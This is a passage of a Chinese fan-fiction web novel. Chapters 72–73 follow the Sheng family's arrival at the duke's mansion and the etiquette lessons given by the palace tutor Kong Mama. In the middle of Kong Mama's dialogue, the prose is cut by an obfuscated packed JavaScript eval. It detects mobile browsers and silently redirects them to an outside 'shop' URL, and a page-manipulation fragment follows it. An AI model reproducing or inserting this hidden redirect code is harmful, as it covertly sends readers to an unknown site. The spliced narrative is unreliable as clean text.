盛老太太在盛明兰八岁时曾和盛瑾无意提起过一句教养嬷嬷的事情,结果说者无意,听者有心,盛瑾记下后,便厚着脸皮去宫中求皇帝帮着找两个嬷嬷,毕竟天底下的这些个嬷嬷都是从宫 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盛瑾没有反驳盛老太太的话,神情平淡的提议,道:“既然母亲有此打算,要不也让苏嬷嬷和陈嬷嬷随着孔嬷嬷一同教导家中姑娘吧。” 盛老太太眼中闪过一丝笑意,语气中带着一丝打趣的意味,道:“苏嬷嬷和陈嬷嬷以后还指着明儿养老呢,现下心思全在明儿身上,哪分得出心思给旁人啊!说起来我此番邀请孔嬷嬷到府中也是有私心,想要同故人叙叙旧罢了。” 盛老太太说到这,不由得感慨道:“说起来孔嬷嬷这一辈子也不容易,本来该入宫的是她妹妹,可却因她后娘舍不得自己亲生女儿,便拿着早已定亲的她来冒名顶替了自己亲生女儿进宫,耽误了她一辈子啊!” 盛瑾听到盛老太太这么说,语气中带着些许柔和,道:“孔嬷嬷是母亲的好友,待她来教导侄女们礼仪时,儿子一定好生招待孔嬷嬷。” 盛老太太见盛瑾这么说,心里倍感安慰,语气柔和,道:“你对她也别太过拘谨,只拿她当亲戚招待便好,对了,你弟弟弟妹一家住的地方,你可安排好了吗?” 盛瑾看着盛老太太,微微一笑,道:“早就让管家准备好了,东边的几个院子都收拾妥当,到时候弟弟弟妹一家子就住在那边,华儿若是想要挪院子也是可以住的下的。” 盛老太太知道丰国公府东边那几个院子比盛家在汴州城的宅子占地面积都大,自是够盛纮一行人居住的,就算是盛长柏他们结婚生子也是够住的,她微微点了点头,道:“瑾儿,你向来是妥帖的,我自是放心不过,对了,华儿的陪嫁田产铺子我已经购置妥当了,余下的就等你弟妹回汴州城再挑选置办吧。” 盛老太太说到这里,语气中带着些许温和,道:“我想将华儿婚宴交由你弟妹操持,说到底华儿是她生的,她若是不能操持华儿的婚宴,少不得会有些遗憾。” 盛瑾看着盛老太太眼中满是笑意,语气柔和,道:“我知道了,母亲尽管按着自己的想法去做吧。” 盛老太太闻言,微微一笑,道:“你到底是这个家的主君,有些事情还是要知会你一声的,不过,我听闻你在皇庄上种了不少果树。” 盛瑾虽然面上不显,但心里泛起了一丝尴尬,可他还是厚着脸皮,岔开话题,道:“母亲怎么突然说起这个嘛,我们不是在聊华儿的事情嘛。” 盛老太太似笑非笑的看着桌子上的贡柑,语气中带着一丝调笑的意味,道:“这个时候的贡柑最高可卖到二两银子,若是瑾儿种出来,府中少不得又多出一份收入。” 盛瑾眼神漂浮不定,语气中带着一丝尴尬,道:“母亲说的什么话啊!我种果树为的不过是供给府中食用罢了。”当然,还有最后一句“多出来的再拿去卖”没有说出口。 盛老太太眼含笑意,语气中满是打趣的意味,道:“正如你在汴州城置办的那个花圃一般,先是供给家中,而后再将多余的卖出,我儿真是勤俭持家啊!” 盛瑾心虚的摸了摸鼻子,语气中带着些许求饶的意味,转移话题道:“母亲,这袁家是怎么回事,突然要将婚事提前半年。” 盛老太太自是知道盛瑾在转移话题,但也随着他的话道:“谁知道呢?许是念着那袁文绍的年纪不小了,想让华儿快些进门吧。”其实是袁伯爷自知自家上次下聘礼时实属不地道,再加上大章氏时常闹幺蛾子,他是真怕这门亲事被大章氏给闹没了,为了避免夜长梦多,他便与盛纮商议着将亲事提前的事情,索性盛纮只是故意拿捏了一下他后就同意了。 盛瑾闻言也不知道说什么,好在盛老太太没再提种果树这件事情,便又转移话题与盛老太太聊起了盛明兰和盛长安的趣事,逗的盛老太太哈哈大笑,这养孩子真是一种乐趣啊! 72.第 72 章 清晨,盛纮一行人的船只已经停靠在汴州城的码头,而刘管家带着小厮们早已在此等候多时,他们一看见盛纮等人就开始帮忙搬运东西。 刘管家让府中的小厮们和盛纮的小厮们一起在原地搬运盛纮一行人的行李,自己则是带着盛纮等人坐上马车启程回到丰国公府,过了许久,马车才行使到了丰国公府门前。 盛纮一行人下了马车走进府中,便看到盛华兰早已在门口等候多时,王若弗激动的上前拉过盛华兰打量了许久才肯放手。 盛华兰微微一笑,拉着王若弗的手拍了拍,语气中带着些许安抚的意味,道:“母亲,二伯父和祖母都很照顾我,明兰和安哥儿对我也很亲近,你无需担心什么。” 盛华兰的目光转到盛纮身上,语气柔和,道:“父亲,祖母让我告诉你们不用那么着急见她,你们一路舟车劳顿辛苦了,还是先稍作休息,待晚膳时再见也不迟。” 盛华兰说完,盛纮微微点了点头,而刘管家反应灵敏,道:“二老爷,小人带你们去院子修整一番吧,国公爷交代过,东边的那几个院子全交由您和大娘子来分配。” 盛纮对着刘管家微微一笑,语气温和,道:“那就劳烦你了。”随后刘管家便带着盛纮一行人前往东边的院子。 盛华兰也随着盛纮一行人一同前往,在这路途中,盛如兰已没了初见盛华兰时沉默不语的样子,她紧跟着盛华兰,低声道:“大姐姐,这国公府真大啊!就连给我们住的东边看起来都比在扬州城住的地方大。” 盛华兰心中暗道:“我这嫡亲妹妹可真傻,这开国以来一共才九个国公爷,二伯父是第九个被封为国公的,前面八个都是因着开国之功封的国公之位,二伯父则是因着盛世之功才封的国公之位,最难得的是二伯父这个国公爷是有封地的,陛下封地都给了,还会吝啬这国公府嘛。” 盛华兰拍了拍盛如兰,用眼神示意她安静下来,盛如兰随即闭上了嘴,而盛墨兰则是安静的跟在她们身后,只是她的眼睛也在看向四周,除此之外,盛长柏和盛长枫也是沉默不语的跟在盛纮夫妇身后。 盛纮对于丰国公府中的景象倒是没什么震惊的,毕竟他在令国公府呆过,这也不过是比令国公府大些且精致风雅些罢了,不过,他身旁的王若弗可没见过令国公府,此时的她虽然面上不显,但心里还是十分震惊于丰国公府占地面积之大,可转念一想,这又不是她的,她过了一会儿便不在意了。 等盛纮一行人在院子中休整片刻后,盛纮便提前带着王若弗和孩子们一同去拜访盛老太太,待他们行礼问完安不久,一个糯米团子般的小男孩冲进来,直接朝着盛老太太跑去,盛老太太顺势将他搂入怀中,只见他满脸担忧的看着盛老太太,语气中满是关心的意味,道:“祖母,祖母,二伯父今早听说您昨夜没睡好,让白祖父带着我给您挑了些安神香,您身体如何呢?”跟随着他的丫鬟已经将装着安神香的盒子放在了桌上。 盛老太太眼含笑意的看着盛长安,语气柔和且宠溺,道:“我就是少眠罢了,你二伯父也真是大惊小怪,没得吓到你了。” 盛长安闻言,脸上浮现出灿烂的笑容,奶声奶气道:“祖母没事就好了,不过,这也不能怪二伯父,二伯父只是担心祖母罢了。” 盛老太太眼中闪过一丝笑意,道:“你和你姐姐向来是护着你二伯父的,对了,这是你叔父婶婶和堂兄堂妹。” 盛长安这才发现自己刚刚忽视了这满屋的人,随即脸上浮现一抹羞红,接着急忙从盛老太太的怀中下来,对着盛纮等人行礼问安。 盛纮神情有些复杂的看着盛长安努力控制自己给他行了个歪歪扭扭却还算标准的礼仪姿势,待盛长安行完后,他也只是微微点了点头,而王若弗则是神情柔和,眉宇间透露着些许关怀和亲近,道:“这是安哥儿吧,上次我瞧着他才小小一个人儿,如今却长得这般大,我险些认不出来了。” 王若弗的目光转向盛老太太身上,语气中带着些许拍马屁的意味,道:“还是母亲和二哥哥会教养孩子,瞧瞧这安哥儿,小小年纪便如此知礼数,以后定是差不到哪里去的。” 盛长安虽然被王若弗夸的有些害羞,但仍大着胆子,道:“婶婶,我瞧着堂兄们也很是不错,婶婶也厉害。”他说完便害羞的躲进了盛老太太怀中,不过,没过一会儿,他又悄悄露出双眼看向外面。 王若弗听着盛长安的话,嘴角不自觉的弯了上去,语气中满是笑意,道:“瞧瞧我们安哥儿,多讨人喜欢啊!” 盛老太太轻轻的拍了拍盛长安的背以示安抚,目光转而放在盛纮和王若弗身上,语气中带着些许笑意,道:“梁哥儿和炜哥儿前年被你哥哥送去王夫子身边教导后,安哥儿可就没有哥哥陪伴了,如今柏哥儿和枫哥儿来府中,他又有人可以叨扰,这心里怕是欢喜过了头了。” 盛老太太看到盛纮眼中闪过的疑惑,解释道:“这府中原先是有夫子教导哥儿们学习的,前些年烨哥儿回汴州城时,你哥哥觉着烨哥儿的火候足够下场,便与婷儿、白大哥商讨后让烨哥儿参加了春闺,正巧炜哥儿也想去考一次乡试,你哥哥觉着让炜哥儿试试也行,没成想炜哥儿竟然考中了举人,而烨哥儿也不负众望的得了个探花郎,不过,那位夫子见烨哥儿高中又因着上了年纪有些力不从心便提出了辞行,你哥哥也不好留人,只能拜托那位夫子再待一段时间,待到他寻到王夫子处方才离去。” 顾廷烨原本会试考中第七名是不太可能得到探花郎这个名次的,奈何他殿试超常发挥,再加之皇帝惦念着小时候见过他一面的情谊,便给了他一个探花郎的名次,这属实是出乎白滢婷和顾偃开的意料之外,更让她们意外的是顾廷炜这个试水的居然吊车尾考上了举人,当然盛瑾也很意外于顾廷炜的狗屎运,不过,顾廷烨考中探花郎却在盛瑾的意料之中,笑话,一共就三个人,里面就属顾廷烨年纪轻轻,长相英俊,不选他选谁,当然,肯定不止这一个原因。 盛瑾暗暗猜想或许皇帝也不想看到盛家同一辈中出现两个状元郎的场面,毕竟顾廷烨算得上是他教养长大的,从某种含义上来说,顾廷烨也算得上是盛家的人,人贵有自知之明,皇帝就算再怎么重视、相信他,也不希望看到盛家在读书人心目中的地位上升至神话的结果,不过,这样也正合他意,他也不希望盛家风头太盛而被人当做眼中钉,只要保证盛家有足够自保的能力即可,除非他想当皇帝,要不然,过犹而不及,好在盛老太太并不知道盛瑾这种大逆不道的想法,要不然,她估计要晕上一回了。 盛纮眼中闪过一丝精光,语气中带着一丝敬仰的意味,道:“母亲,可是益州王氏出身的那位王夫子。”他可知道这益州王氏出了不少进士又是延续了三百多年的大家世族。 盛老太太微微点了点头,语气淡然,道:“正是,王夫子虽说早已不收学生,但你哥哥厚着脸皮求上门,他念着你哥哥曾经一点子恩惠,再加上你哥哥所求不过是教导梁哥儿和炜哥儿一段时日,待来他找到好的夫子即刻接回,若是两年之内找不到夫子也即可接回,王夫子见这也不是什么强人所难之事便同意了。” 盛纮本来想跟盛老太太提议将盛长柏和盛长枫也塞入王夫子那边学习,毕竟这位王夫子不仅仅出身益州王氏,还曾考中过传胪,只是他不喜官场,当年考中没多久就辞职教书,曾教导过不少名列前茅的进士,可盛老太太的话让他打消了这个念头,这盛长梁和顾廷炜还是盛瑾求进去的,也只能待一段时间,若是这时候再塞人恐怕王夫子对盛瑾就要有意见了。 盛纮突然想起个人,脑海中灵光一闪有了个念头,随即便对着盛老太太语气恭谨,道:“母亲,不如我们在府中办个家学可好,这样一来,二哥哥也不用在公务繁忙时还想着给梁哥儿和炜哥儿找夫子的事情了。” 盛老太太神情没有什么变化,语气淡然,道:“家学这些个事情我不懂,你与你二哥哥再商讨,不过,眼下我倒是有件事情要与你们夫妇说一下,忠勤伯爵府也算得上是高门大户,府中的女眷们日常少不得要弄些插花、品茶、点香之类的玩意儿,华儿又不曾弄过这些个玩意儿,若是日后嫁到忠勤伯爵府恐怕会被人笑话她这些个玩意儿弄起来不成体统,我在宫中曾有一熟人,外人称之为孔嬷嬷,前些日子,我去信请她来家中教导姑娘们的礼仪,正好如姐儿、墨姐儿也在府中,让她们随着华儿一同学学这些个高门大户的礼仪,长长见识也好。” 王若弗此时脑子转得极快,语气中带着些许激动,道:“母亲说的可是曾教养过英国公府、治国公府,还有襄阳候府那几位姑娘的孔嬷嬷嘛。” 盛老太太微微点了点头,王若弗双目微微睁大,倒吸口凉气,她可知道这位孔嬷嬷,据说她原是山东孔府旁支后人,从宫女升做女官,即便宫中这几十年发生了不少大事,她却仍能安然在六局女官的位置上轮换,前几年病老请辞出宫在荣恩观养老,没几日便被勋贵人家请回家中教导姑娘,可见是个能人,况且请她教导过姑娘的勋爵人家都说她脾气温厚,教规矩的时候耐心细致,不像别的嬷嬷动不动就要罚要打的,却又能把礼数规矩教到位。 王若弗属实是没想到盛老太太这么有面子,居然能请到这么有档次的嬷嬷,她脸上浮现出灿烂的笑容,语气中带着些许拍马屁的意味,道:“还是母亲想到周到,我就不如母亲这般心细如发,母亲这真真是为华儿着想啊!” 盛老太太脸上浮现出一抹淡笑,语气中带着些许平淡的意味,道:“我只是顺便想见见幼时在宫中的熟人,而她又正好想找我叙叙旧罢了。” 王若弗才不信盛老太太这话,当即将盛老太太夸上了天去,连带着盛纮也附和了几句盛老太太的好话,哥儿姑娘们则是安静的站在一旁听着长辈们说话,屋内一片祥和,待到晚膳时,盛纮可算是见到了盛瑾,不过,盛瑾和盛纮没说多少话,用完晚膳后便各自回到自己院中休息了,毕竟盛纮从扬州通判升任承直郎,如今到了汴州城,第二天要早些去尚书省报道了。 三日后的清晨,王若弗期盼已久的孔嬷嬷终于翩翩而至,而盛瑾则是带着盛纮夫妇一早在大门口亲自迎接孔嬷嬷进府,只见丰国公府门前来了一辆马车,待马车停下不久,便有一位老妇人从马车内下来,不用猜都知道这位老妇人就是孔嬷嬷了。 这位孔嬷嬷瞧着大约比盛老太太小几岁,体型消瘦,眼睛不大,鼻子不高,一张干瘦的大饼脸看上去十分和气,穿着一件银灰色素面织锦褙子,只在袖口镶着茸毛皮边,头上也只简单的绾了支斜如意纹的白玉扁方,一身装扮显得十分素净。 盛瑾神情柔和的阻止了孔嬷嬷给他行礼,随即带着她去见盛老太太,待她随着盛瑾一同来到盛老太太屋内时,她一见到盛老太太,便要按照着宫中的老规矩给盛老太太行礼,却被盛老太太连忙扶了起来,只见盛老太太满脸笑意,语气中带着些许激动和亲近,道:“我们是旧识,无需如此多礼。” 盛老太太说完便拉着孔嬷嬷一同坐在主位上聊了起来,说来也神奇,孔嬷嬷这样长相平凡的一个人,一说起话来却让人如沐春风,一举手一投足都大方流畅,谦谨端庄。 盛瑾和盛纮夫妇在一旁时不时附和一两句,而姑娘们则是安静的坐在一旁,不过,每个姑娘的行为举止、内心想法都不大相同。 盛华兰安静的坐在自己的位置上,虽然心中十分激动,但面上不显,盛墨兰脸上保持着完美的微笑,雅致的坐在自己的位置上,仿佛在全神贯注的倾听着两位老人的谈话,盛明兰表现得与盛墨兰亳无差别,只有盛如兰坐在自己的位置上时不时的动一下,任谁都能看出她已经无聊到开小差的地步了。 孔嬷嬷含笑的看向盛瑾,语气中带着些许赞扬的意味,道:“早就听闻盛国公陌上公子玉无双的名头,如今一见果然是名不虚传。”不得不说盛瑾保养得当了。 孔嬷嬷说着又将目光放在盛纮身上,道:“盛大人在汴州城的名声也不差,为官明正,治理德方,如今儿孙满堂,府上的哥儿姑娘们都芝兰雪树一般,老夫人可真是有福气啊!” 盛瑾心里暗暗佩服孔嬷嬷睁眼说瞎话的本事,毕竟盛纮从扬州通判升任承直郎才进汴州城没几日,怎么可能在汴州城有什么名气,不过,他瞧了瞧盛纮那如沐春风般的表情,不由得感慨道:“果然千穿万穿马屁不穿是从古至今通用的伎俩。” 盛老太太指了指盛华兰,眼含笑意,道:“是我有福气,居然能把你这大忙人请来,这我的大孙女,我可把她交给你了,有什么不好的,你只管打罚,不必束手束脚的。” 孔嬷嬷面带微笑,语气温和,道:“老夫人这是说的什么话,我今日虽有些体面,但不过是诸位贵人给的面子,说到底我在宫中也不过是个奴婢,照我看呀,规矩是用来彰显德化,明正伦理行止的,不是用来折腾人的,规矩是要学,但也不用死学,用心即可,况且老夫人的孙女能差到哪儿去。”她一边说,一边随意的看了眼盛华兰,而盛华兰似乎受到了什么激励般,端端正正的坐着,腰背挺的笔直,目光期盼,仿佛用肢体语言表决心一般。 王若弗脸上的笑容,灿烂的仿佛盛开的花朵般,语气中带着些许恭维,道:“嬷嬷此次能来,真是托了母亲的福,回头嬷嬷教导华儿得空时,也与我们说些汴州城里头的事,好让我们这些个常年在外的乡下人长长见识。” 孔嬷嬷浅浅一笑,语气谦和,道:“扬州城到汴州城,这一路物宝民丰,天高海阔,大娘子既见过高山大川,又晓得天南地北的风土,见识当在我这一辈子不挪窝的老婆子之上,大娘子实在是过谦了。” 孔嬷嬷这番话说的王若弗全身汗毛孔都熨帖舒坦,她拿着手帕放在嘴边,挡了挡脸上更加灿烂的笑容,可用处不大,毕竟她笑得都快合不拢嘴了。 盛瑾微微一笑,语气中带着些许敬意,道:“嬷嬷自谦了,您在宫中几十年,这的见识自是不比我们低,还望嬷嬷多教导教导我家姑娘们。”他说着便起身给孔嬷嬷行了一礼。 孔嬷嬷赶忙扶了扶盛瑾,严肃的神情中带着一丝慌乱,语气中带着些许恭谨,道:“盛国公多礼了,我自当尽力。” 盛瑾见状也没在做什么,只是脸上带着淡淡的笑意,道:“嬷嬷和母亲既是故人,那这段时间就劳烦嬷嬷与母亲同住一院,叙叙旧,我已让女使们将母亲院子不远处的一处院子收拾出来,供嬷嬷给家中姑娘们上课,也方便嬷嬷出行。” 孔嬷嬷看着盛老太太对她笑着点头,目光转向盛瑾身上,眼含笑意,道:“那我就多谢盛国公,让我和老夫人叙叙旧。”而后她又多和盛老太太、盛瑾他们闲聊了几句,便各自散去了。 夜晚,孔嬷嬷睡在盛老太太的院子中,只见盛老太太看着孔嬷嬷,语气中带着些许调侃的意味,道:“你居然肯来,我本来可不敢请你到府中的。” 孔嬷嬷一改今早不慌不忙的状态,神情略带些许疲惫,道:“我本就厌烦了那些个权贵之家,每个人都有千张面孔,面上不显,肚里弯弯绕绕的算计个不歇,我这一辈子都是猜人心思过来的,连梦里都思量着那些贵人的肚 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12666931|71292||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 肠,原本想着请辞后,能过几天舒心日子,没曾想还是不消停,前个权贵之家更是想留着我不放,正好我听说盛国公是你的儿子,还有陈嬷嬷和苏嬷嬷在丰国公府过的很是舒心,又恰逢你给我来信,便借着你的由头从那权贵家中脱了身。” 孔嬷嬷说到这里,叹了口气,道:“我也老了,这些个日子总想着落叶归根,待这次教导完你家姑娘,由着盛国公府的名头送我离开汴州城,也好摆脱那些个权贵之家的邀请,毕竟没人会为了个教养嬷嬷与盛国公交恶,我也能清净的过完后半辈子。” 盛老太太闻言,目露伤感,语气中带着一丝关心,道:“落脚的地方可找好了?若是有什么事情需要帮忙,尽管跟我开口,我没有办法,还有瑾儿呢。” 孔嬷嬷脸上的神情变得洒脱起来,语气中带着些许豁达的意味,道:“不用了,我早就在老家物色好了人选,是我一个远房侄子,他没父母,我没子嗣,正好一起过日子,况且我如今这个岁数,也没几天活头,不想再拘束了。” 盛老太太脸上带着些许怜惜的神情,低声道:“你这一辈子也不容易,想当初你都订亲了,却被你后娘拿来顶替你妹妹进宫。” 孔嬷嬷脸上满是不以为意的表情,道:“什么不容易?我可觉得我这辈子呀!比常人精彩多了,不说吃过的用过的,就连皇帝我也见过两个了,皇后都见过五个了,这后妃贵人更是如过江之鲫,也算是开了眼,还能衣食无忧的活到花甲,没什么好抱怨的,倒是我那妹妹弄得自己一辈子声名狼藉,嫁人,偷人,下毒,被休,哈哈,真是厉害啊!我那后娘为了她倾家荡产、潦倒而死,你不知道,当初听到这消息时,我高兴坏了,偷着喝了一整瓶老窖庆祝呢!说起来,我可比她们强多了。”她说着便自己乐呵呵的笑起来。 盛老太太被孔嬷嬷的情绪带动起来,她面带微笑,道:“你还是老样子,瞧着恭敬,内里却落拓不羁。” 孔嬷嬷脸上洋溢着灿烂的笑容,语气中带着些许了然的意味,道:“你如今有了个有出息的亲生儿子,现在瞧着你这般样子,又有了当初那派头,我便放心多了,想想那时看你修身养性到那种地步,我心里为你担心啊!” 盛老太太回忆起自己娇憨的青春,一片怅然,随即又想到了盛瑾他们,微微一笑的摇了摇头,道:“纮儿终归不是我亲生的,那时我又何必讨人嫌,况且我也乏了,当年折腾的天翻地覆,到头来还不是一场空嘛,如今我有了瑾儿,又有了两个嫡亲孙子,一个嫡亲孙女,再加上一个义女和义兄,这生活过得有滋有味的,纮儿他愿意听我的就听,不愿意听我的,总会听瑾儿的,左右有瑾儿在呢。” 孔嬷嬷当即冷笑,道:“感情你是有了亲儿子撑腰,底气足了,你想想,就算没有盛国公,本朝以孝治天下,你虽不是他的亲娘,却是他的嫡母,又对他恩重如山,但凡他有半点忤逆你的意思,他就别想在官场上待了,不知道你有什么好顾虑的。” 盛老太太不愿多谈什么,随即转移话题,道:“好了,不说他们了,来聊聊我这几个孙女吧,你觉得她们如何呢?” 孔嬷嬷装作敷衍的样子,道:“都不错,大姑娘端庄大气,是个大家闺秀,四姑娘看上去富有才情,颇有一些才女的感觉,五姑娘太过活泼了。” 孔嬷嬷说到这里,眼中闪过一丝兴奋,道:“倒是你家盛国公的二姑娘才九岁,却能乖乖坐着,那个孩子的一双眼睛真是生得好啊!淡泊,明净,好像什么都看明白了,却又不清冷,让人感觉就是个豁达开朗,稳重守礼的性子,如同当初的盛国公夫人般。” 孔嬷嬷似是想起了什么,戛然而止的看了眼盛老太太,而盛老太太只是淡淡的笑了一下,道:“你不必忌讳什么,瑾儿书房中挂着媳妇的画像,他若是一听别人提起媳妇就悲伤,怕是早就悲痛欲绝到随媳妇一同去了。”不得不说盛瑾和盛昀这出恩爱夫妻的戏码演得是相当的成功啊!如今汴州城没有人不相信盛瑾对慕卿云的深情,毕竟若不是情深到骨子里,谁能忍着十几年都不续弦纳妾呢。 孔嬷嬷叹了口气,道:“唉,你说你家那位当初还在时也算得上是个风流的人物,怎么能得盛国公这般痴情的儿子,不过,当初我曾在宫宴远远瞧过盛国公夫人,那真真是堪称绝色,虽说身子弱,但却将这府中打理得井井有条,待人处事也是极好,当初在宫宴上愣是没让那些个贵妇官眷找出一点错处来,我瞧着你家二姑娘如今和她有些相似,将来张开了必是个如花似玉的大美人,若是能再得她几分本事,那自是不愁人家求娶的。” 孔嬷嬷看着盛老太太,眼含笑意,继续道:“人家常说七岁看老,我瞧着你家二姑娘九岁就这般好性子,将来也差不到哪去,你倒是得了个好孙女啊!不过,她也好运道被盛国公过继成嫡长女,我看得出盛国公对她是真心疼爱的,跟着盛国公可比跟着你那庶子盛纮好上不止一星半点,不说别的,我可听说了端淑县主和白老爷如今可是拿她当亲孙女亲侄女一般疼爱啊!可有不少人家盯着你的心肝肉啊!” 孔嬷嬷端起茶杯,浅浅抿了一口,道:“你可别当汴州城那些个勋贵世家的人都是眼瞎,先不论盛国公夫人那十三艘船的嫁妆,就说盛国公的身家有多厚,你这个亲生母亲肯定比我这个外人清楚的多,你家二姑娘是盛国公的嫡长女,瞧盛国公如今这般疼她,那未来的嫁妆能少到哪去,再者,盛国公夫妇情比金坚,盛国公夫人都留有遗书给端淑县主不少好东西,我可不相信她没给盛国公留下什么遗嘱,更别提到时候的添妆了,端淑县主和白老爷跟你儿子媳妇感情有多深,你又不是不知道,那白老爷可是扬州城里有名的盐商,商贾巨富,不冲别的,就冲你乖孙女那张神似盛国公夫人的外貌和盛国公嫡长女的名头,他们能不给她添上一份厚厚的添妆嘛,毕竟全汴州城都知道当初端淑县主出嫁时,盛国公夫妇可是和白老爷一起给她置办了极其丰厚的嫁妆,更何况那端淑县主的县主之位可是盛国公夫人给她挣来的,这份人情白家父女两这辈子也还不清,可不得对盛国公的两个孩子好嘛。” 盛老太太微微皱了皱眉头,她虽然和盛瑾调侃过盛明兰嫁妆之丰,却也不想自家孙女因着嫁妆被豺狼虎豹给盯上,语气中带着些许冷意,道:“明儿,我和瑾儿是打算留到十八岁在嫁人的,她未来夫婿人品和家世家风都要经过我和瑾儿的严加考察,方才会首肯。” 孔嬷嬷瞧着盛老太太这般警戒,语气中带着些许安抚的意味,道:“你也别想太多,左右还有你那盛国公儿子给她撑腰呢,他们顶多就是上门探探口风,你们若是不愿意,也没人敢逼一个国公爷和一个一品诰命夫人硬是结亲家。” 盛老太太神情看不出有什么变化,语气淡然,道:“是我想差了,你说得对,只要瑾儿和我不同意,谁也别想娶走我的乖孙女。” 孔嬷嬷也不管盛老太太怎么想,语气中带着一丝调笑的意味,道:“这才对嘛,这才是勇毅侯府独女的派头啊!你要早拿出这种气势,他盛纮还敢视你若无物嘛。” 盛老太太洋装恼怒的用手指着孔嬷嬷,笑骂道:“都说了,不提他,你这老货,这张厉嘴,怎么没死在宫里呢,让你出来祸害人。” 孔嬷嬷瞪了盛老太太一眼,语气中满是笑意,道:“那是自然,没听过好人命不长,祸害遗千年嘛。” 盛老太太听到孔嬷嬷这么说,不由得笑出了声,孔嬷嬷瞧着盛老太太这般也随之笑出了声,两个老人就这样笑在一起,过了一会儿,盛老太太又与孔嬷嬷说了些事情后,便相拥入眠了。 73.第 73 章 清晨,盛家的孔嬷嬷课堂开课了,盛华兰、盛如兰、盛墨兰端端正正的坐在自己的学习桌前,而盛明兰因着年岁不大,外加身边已有两个嬷嬷在,礼仪规矩不缺人教,便被孔嬷嬷安排在一旁坐着听课,主打的就是一个陪伴的作用。 孔嬷嬷知道她此次教导的重点对象是盛华兰、盛如兰、盛墨兰,不过,盛墨兰不知是不是因着林噙霜被送走,身边都换成盛纮安排的人伺候的缘故,又或是发觉自家小娘无论在不在,王若弗都没有克扣她的东西的缘故,整个人在课堂上倒是没有闹什么幺蛾子,安安静静的听从孔嬷嬷的教导。 这一堂课,盛华兰和盛墨兰听得格外认真,就连盛明兰也同她们一般乖乖听着孔嬷嬷讲课,可她因着年岁不大,握笔力度不够,写字太慢了,不得不让身边较为年长的丫鬟帮忙记笔记,只有盛如兰在打着瞌睡,好似累得不行似的,盛明兰旁边一如既往呆呆的小桃瞧上去都比她认真。 孔嬷嬷一堂课下来,将盛华兰、盛如兰、盛明兰、盛墨兰的性格都摸清了个大概,盛华兰沉着稳重,盛墨兰有些争强好胜的傲气,盛如兰大大咧咧没心眼,盛明兰正如她上次与盛老太太说的一般是个豁达开朗,稳重守礼的性子。 盛华兰在课上瞧着盛如兰这副表现,心里顿时产生了恨铁不成钢的感觉,待下课后,她便径直拉着盛如兰来到了王若弗的房内,一五一十的向王若弗描述起了盛如兰在孔嬷嬷课上的表现,气得王若弗瞪了一眼盛如兰,语气中带着些许责备的意味,道:“你祖母是为了你们,才请的孔嬷嬷来教导礼仪,敢情在你这,一番心思全浪费了。” 盛如兰脸上带着些许不在乎的神情,嘟嚷道:“大姐姐惯会告状,这孔嬷嬷的课太无聊,我才不要学什么礼仪规矩呢,本来就是祖母为大姐姐请来的,我为什么要这么辛苦的学习这些个礼仪规矩啊!” 王若弗点了点盛如兰的额头,语气中夹杂着些许怒火,道:“你这没出息的,这位嬷嬷可是在宫里伺候过好几位嫔妃贵人的,又指导过许多权贵人家的姑娘礼仪规矩,那见识比多少豪门世家的大娘子都要高许多,多少人想请都请不来呢,也是你祖母面子大,为着你大姐姐请来了她教导礼仪规矩,你这是粘了你祖母和大姐姐的光,还不珍惜。” 王若弗瞧着盛如兰这一副懒洋洋的模样,忍不住拍了盛如兰一下,继续道:“鸟随鸾凤飞腾远,你就和人家学学宫里的规矩做派,将来嫁了人,你官人婆婆自然是要高看你一眼的。” 盛如兰嘴硬的反驳道:“祖母也在宫中待过,这些个礼仪规矩,祖母也是会的,还有明兰身边的那两个嬷嬷,她们也会啊!又不是非要孔嬷嬷来教导。” 王若弗撇了盛如兰一眼,语气平淡且带着些许嘲讽的意味,道:“你想让你祖母教你嘛,还是说想让明姐儿身边的那两个嬷嬷教你,那可是你二伯父为了明姐儿特意从宫里找来的嬷嬷,人家以后还指着明姐儿养老呢,如今恨不得将一身本事传给明姐儿,哪来的闲情逸致教导你啊!” 盛如兰一想到盛老太太教导她礼仪规矩的场景,犹如拨浪鼓一般猛得摇头,语气中带着些许惊恐的意味,道:“我才不想祖母教导我礼仪规矩呢,那太可怕了。” 王若弗瞧着盛如兰这副没出息的样子,忍不住拍了她两下,道:“那是你祖母,又不是什么洪水猛兽,用得着怕成这样嘛,再者,明姐儿还比你小三岁呢,人家可是你二伯父金尊玉贵养着的,怎么她能认真听从孔嬷嬷教导,你却不能呢。” 王若弗说到这里,叹了口气,道:“今个我还十分高兴,你祖母将你大姐姐的婚宴交由我来操持,结果你给我来这么一出,多好的心情也减半了。” 盛老太太在孔嬷嬷教导姑娘们礼仪规矩时找来王若弗交代了这件事情,并且让王若弗尽管去府中账房支取操持盛华兰婚宴所需的银钱。 王若弗瞪了盛如兰一眼,语气中带着些许警告的意味,道:“我这些天都会很忙,你就安安心心的和你大姐姐跟着孔嬷嬷学东西,不许再三心二意的,又不是让你学个一两年,也就一两个月的事情,你给我耐住性子学下去。” 盛华兰神情柔和的附和道:“母亲说的对,孔嬷嬷教的东西对你以后也有用,妹妹你就静下心来学一两个月吧。” 盛如兰看着盛华兰和王若弗都这么说,也只能不情不愿的点了点头,表示自己会努力学的,而王若弗和盛华兰看到盛如兰点头后,心中也松了口气,她们知道以盛如兰的性子,只要她答应下来的事情就会按照约定去做。 孔嬷嬷的课堂没过几日就初见成效,盛华兰骨子里的那种盛气凌人不在了,盛墨兰也不扭捏了,盛如兰也不撒野了,姑娘们似乎突然间温婉端庄起来,说话大方得体,行为举止春风拂柳,看的盛纮和王若弗大为满意,连着夸了好几天,尤其是王若弗一连几天都喜笑颜开啊!她心里不仅越发尊敬起孔嬷嬷来,还时不时暗道:“这孔嬷嬷请的好啊!” 孔嬷嬷不仅教导盛家姑娘们颇有成效,还给了盛纮极大的帮助,她在深宫内院混迹了几十年,往来之人大多是社会顶层人物,正如王若弗所说的其见识不凡,自是知道汴州城中权宦贵胄的复杂隐秘关系。 